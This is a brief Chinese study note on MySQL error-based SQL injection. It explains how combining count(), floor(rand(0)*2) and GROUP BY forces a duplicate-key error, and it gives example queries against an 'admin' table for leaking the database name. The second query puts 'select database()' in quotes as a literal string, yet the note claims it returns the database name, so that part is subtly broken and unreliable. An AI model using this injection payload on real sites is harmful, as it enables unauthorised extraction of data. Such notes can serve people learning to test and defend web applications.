利用数据库的BUG进行利用,看报错信息,不过报错的信息就是我们想要的信息。
只要是count() rand group by 三个连用就会造成这种报错。
count用于判断数据库或表的数量,rand用于生成一个随机数,group by用于以什么为一组进行分组。
至少要有三条数据 才有可以产生报错注入。
floor(rand(0)*2))一定报错
语句:
select concat(floor(rand(0)*2),"*********") as xx,count(1) from admin group by xx;
通过报错,返回数据********,因此可以修改语句:
select concat(floor(rand(0)*2),"select database()") as xx,count(1) from admin group by xx;
则返回数据库名
left(rand(),3)不一定报错
round(x,d) //x指要处理的数,d是指保留几位小数
concat() //字符串拼接